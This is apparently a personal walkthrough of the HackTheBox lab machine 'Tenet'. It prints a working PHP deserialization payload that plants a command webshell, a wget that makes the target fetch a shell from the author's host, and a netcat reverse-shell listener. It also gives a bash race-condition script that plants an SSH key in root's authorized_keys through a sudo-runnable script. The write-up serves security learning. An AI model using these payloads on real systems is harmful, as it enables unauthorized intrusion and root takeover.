Summary

Simple old box I hacked 3 years ago but my notes were shoddy so I rehacked it from scratch. Insecure deserialization to www-data, then bash script exploitation to root. There is probably a better writeup present on HTB if you want something more thorough. If you prefer my rambling then get in here.

Enumeration

nmap -p- 10.10.10.223 -Pn

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http


sudo nmap -sC -sV -p22,80 10.10.10.223

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA)
|   256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA)
|_  256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Port 80 - http

front_page
Click for full image

A simple wordpress site is all we find. Looking at the posts we can see there is a comment referencing sator.php and a backup of the file.

migration comment

The endpoint we are looking for it conveniently located at http://10.10.10.223/sator.php which provides the following results when visited:

sator php default

And heading to http://10.10.10.223/sator.php.bak gives us a download prompt. The code is as follows:

cat sator.php.bak 

<?php

class DatabaseExport
{
	public $user_file = 'users.txt';
	public $data = '';

	public function update_db()
	{
		echo '[+] Grabbing users from text file <br>';
		$this-> data = 'Success';
	}


	public function __destruct()
	{
		file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
		echo '[] Database updated <br>';
	//	echo 'Gotta get this working properly...';
	}
}

$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);

$app = new DatabaseExport;
$app -> update_db();


?>

So after running this in theory there should be a user.txt file in the same directory as sator.php.

user.txt check

Foothold as www-data

Insecure Deserialization (PHP)

Investigating this code we see that sator.php takes the parameter arepo and fills the databaseupdate variable with its unserialized value. Then it will create a new object using the DatabaseExport class then run the update_db() method.

So what’s the exploit if the variable we have control of isn’t passed to anything in the code you ask?

Insecure deserialization php edition is what we will be using. There are a few conditions that need to be met for this code to be vulnerable. #1 we need unfiltered control (or the ability to bypass the controls) to the unserialize function. #2 there needs to be a PHP magic method that can be used to carry out the attacks. Here __destruct is a magic method so this in theory is vulnerable to insecure deserialization. Links below on more depth of types of attacks in this vector:

OWASP PHP Object Injection
HackTricks Deserialization

TLDR magic methods in PHP refer to __sleep __wakeup __unserialize __destruct and __toString.
__sleep occurs when an object is being serialized.
__wakeup occurs after deserialization.
__unserialize is a special priority case over __wakeup if both are present.
__toString is a method that can be used for when handling strings.
And finally __destruct occurs when an object is to be destroyed or when the script ends.

In our case the code within __destruct will be run at script end, and we can use that to our advantage. https://www.w3schools.com/php/phptryit.asp?filename=tryphp_func_var_serialize is the place I’ll be serializing my payloads for testing. The basic rundown here is we have access to modify objects within the class: the two variables user_file and data.

Now without further ado:

class DatabaseExport
{
	public $user_file = 'test.php';
	public $data = 'Hello';

	public function update_db()
	{
		echo '[+] Grabbing users from text file <br>';
		$this-> data = 'Success';
	}


	public function __destruct()
	{
		file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
		echo '[] Database updated <br>';
	//	echo 'Gotta get this working properly...';
	}
}

$o = new DatabaseExport();
$ser=serialize($o);
echo $ser;

O:14:"DatabaseExport":2:{s:9:"user_file";s:8:"test.php";s:4:"data";s:5:"Hello";}

For clarification we don’t need to use the whole class for serialization, but it’s simpler to copy over all of it than it is to define the class and variables within we want to change.

sator php test payload

test.php upload check

Sweet, now I can change the contents of data to a simple cmd GET and achieve rce. As a small note the php code I was injecting didnt like being serialized so I added it after and urlencoded just to be sure it didn’t mess up.

	public $user_file = 'cmd.php';
	public $data = '<?=`$_GET[0]`?>';


O:14:"DatabaseExport":2:{s:9:"user_file";s:7:"cmd.php";s:4:"data";s:15:"<?=`$_GET[0]`?>";}

http://10.10.10.223/sator.php?arepo=O:14:%22DatabaseExport%22:2:{s:9:%22user_file%22;s:7:%22cmd.php%22;s:4:%22data%22;s:15:%22%3C?=`$_GET[0]`?%3E%22;}

test.php upload check

Now I can upload a proper shell and become www-data:

http://10.10.10.223/cmd.php?0=wget%20http://10.10.14.7:8081/shell.php


httpserver

Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
10.10.10.223 - - [20/Mar/2024 18:58:55] "GET /shell.php HTTP/1.1" 200 -


http://10.10.10.223/shell.php


nc -nvlp 7777

Listening on 0.0.0.0 7777
Connection received on 10.10.10.223 31118
Linux tenet 4.15.0-129-generic #132-Ubuntu SMP Thu Dec 10 14:02:26 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 00:03:25 up  2:42,  0 users,  load average: 0.02, 0.01, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash: cannot set terminal process group (1685): Inappropriate ioctl for device
bash: no job control in this shell
www-data@tenet:/$ id 
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Root

Basic enum yielded yet another boon for me, a sudo command as www-data.

sudo -l

Matching Defaults entries for www-data on tenet:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:

User www-data may run the following commands on tenet:
    (ALL : ALL) NOPASSWD: /usr/local/bin/enableSSH.sh


ls -al /usr/local/bin/enableSSH.sh

-rwxr-xr-x 1 root root 1080 Dec  8  2020 /usr/local/bin/enableSSH.sh

Not writable by me so I’ll see what I’m working with.

#!/bin/bash

checkAdded() {
	sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3)
	if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then
		/bin/echo "Successfully added $sshName to authorized_keys file!"
	else
		/bin/echo "Error in adding $sshName to authorized_keys file!"
	fi
}

checkFile() {
	if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then
		/bin/echo "Error in creating key file!"
		if [[ -f $1 ]]; then /bin/rm $1; fi
		exit 1
	fi
}

addKey() {
	tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)
	(umask 110; touch $tmpName)
	/bin/echo $key >>$tmpName
	checkFile $tmpName
	/bin/cat $tmpName >>/root/.ssh/authorized_keys
	/bin/rm $tmpName
}

key="ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPP/Ls7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN+MQLG59VkuLNU4NNiadGry0wT7zpALGg2Gl3A0bQnN13YkL3AA8TlU/ypAuocPVZWOVmNjGlftZG9AP656hL+c9RfqvNLVcvvQvhNNbAvzaGR2XOVOVfxt+AmVLGTlSqgRXi6/NyqdzG5Nkn9L/GZGa9hcwM8+4nT43N6N31lNhx4NeGabNx33b25lqermjA+RGWMvGN8siaGskvgaSbuzaMGV9N8umLp6lNo5fqSpiGN8MQSNsXa3xXG+kplLn2W+pbzbgwTNN/w0p+Urjbl root@ubuntu"
addKey
checkAdded

Code flow rundown, sets a public key for ssh access, then adds the key by placing it in a temporary file under a certain format. After checking the file it copies the key directly over to the authorized_keys file in root. Finally it checks if the key was “successfully” added. I put that in deliberate quotes due to the results we’ll see later.

To exploit this I need two things, a script that will be checking for the existence of this file, and a keypair ready to place in the created file before it transfers it over.

ssh-keygen

Generating public/private rsa key pair.
Enter file in which to save the key (/home/raccoon/.ssh/id_rsa): tenet
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in tenet
Your public key has been saved in tenet.pub
The key fingerprint is:
SHA256:SW1tbXRR26LHtMHNqPCfa/dbayKobPWsXDkXyNpjuVI raccoon@cyberraccoon-virtualbox
The key's randomart image is:
+---[RSA 3072]----+
|              ..=|
|         . . + =o|
|        . + o O.+|
|       . o.+.* + |
|        S  o+.+  |
|         .oEoo.. |
|        ..=O .o .|
|      ...oo+=..o+|
|      .o.oo...+++|
+----[SHA256]-----+


cat tenet.pub

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC52fT813CyUdEjR1NZ5IYgA/+gBTa8KAqXp6Ozi3zIfpGA/BNiTs9tb2tj1vRP+Uz14z+BtX73+nQpj175hUCLcIvY6vxAW86yYoyhjCEcR8JULuFU1OC07HDBBg/2476N+WCn068dqqA1cSW2zkTqTxBlwBqeWBY5d9OhcmstZ7cx5hxW/wXKSRpTGVB0TLos0UsDArpW7Xu637Cl8wvtjzpT8r9H8xFoFddctiEOP5AprxBm6dHlxoyvEHn73Tv211wHLvr7xJ5ohouNcCDG1l+oDcIaEOnXCCBHD7PescfwO5CQ+R7cEeEB/N9hNqK0Oeon82WXddgLqa6NK4ZKKgqRsUk2tGQVnhlo5PmPEFsAchtDapfS/065jQNSZf2fBoT8x2H7H2RiY+PzRdBtii2z0DpY17xXIUBH5okyR4FFYmi/a0ZVO0nW18f7nQVbkU/FHFEZ8lXkm3rKRvWIjMLKUvZNMbnzoTreWjyYtHdaSxXMWs+WPztnYdjG/kc= raccoon@cyberraccoon-virtualbox
cat exploit.sh

#!/bin/bash

key="ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC52fT813CyUdEjR1NZ5IYgA/+gBTa8KAqXp6Ozi3zIfpGA/BNiTs9tb2tj1vRP+Uz14z+BtX73+nQpj175hUCLcIvY6vxAW86yYoyhjCEcR8JULuFU1OC07HDBBg/2476N+WCn068dqqA1cSW2zkTqTxBlwBqeWBY5d9OhcmstZ7cx5hxW/wXKSRpTGVB0TLos0UsDArpW7Xu637Cl8wvtjzpT8r9H8xFoFddctiEOP5AprxBm6dHlxoyvEHn73Tv211wHLvr7xJ5ohouNcCDG1l+oDcIaEOnXCCBHD7PescfwO5CQ+R7cEeEB/N9hNqK0Oeon82WXddgLqa6NK4ZKKgqRsUk2tGQVnhlo5PmPEFsAchtDapfS/065jQNSZf2fBoT8x2H7H2RiY+PzRdBtii2z0DpY17xXIUBH5okyR4FFYmi/a0ZVO0nW18f7nQVbkU/FHFEZ8lXkm3rKRvWIjMLKUvZNMbnzoTreWjyYtHdaSxXMWs+WPztnYdjG/kc= raccoon@cyberraccoon-virtualbox"

switch=true
while $switch
do
check=$(find /tmp/ -name "ssh*" 2>/dev/null)
if [ ${#check} -gt 0 ]
then
switch=false
echo $key > $check
fi
done

Okay so this requires a tiny bit of explanation to understand if you are new to bash scripting. I set a while loop to run until the condition is met, that condition being a file of the format ssh* is found in /tmp. It then checks the output of find has a length greater than 0 and places the key in the file and switches off the while loop.

Final steps, send the exploit to the background and then run the sudo command, then ssh in as root.

wget http://10.10.14.7:8081/exploit.sh

bash exploit.sh &

sudo /usr/local/bin/enableSSH.sh
sudo /usr/local/bin/enableSSH.sh





/tmp/ssh-tbCxu9B1
Successfully added root@ubuntu to authorized_keys file!

The spaces are because I left an echo $check in the exploit for testing but omitted it here. But despite that it seems I should be able to ssh in first try. In addition you will see it check and sees that root@ubuntu was added to the file, and not the user I was injecting. The reason being is the hard coded key in the script is being referenced instead of any of the data it was moving.

ssh root@tenet.htb -i tenet

root@tenet:~# cat /root/root.txt
077d88ea7dad17------------------
root@tenet:~# cat /home/neil/user.txt
f4cb9e9f7e89fb------------------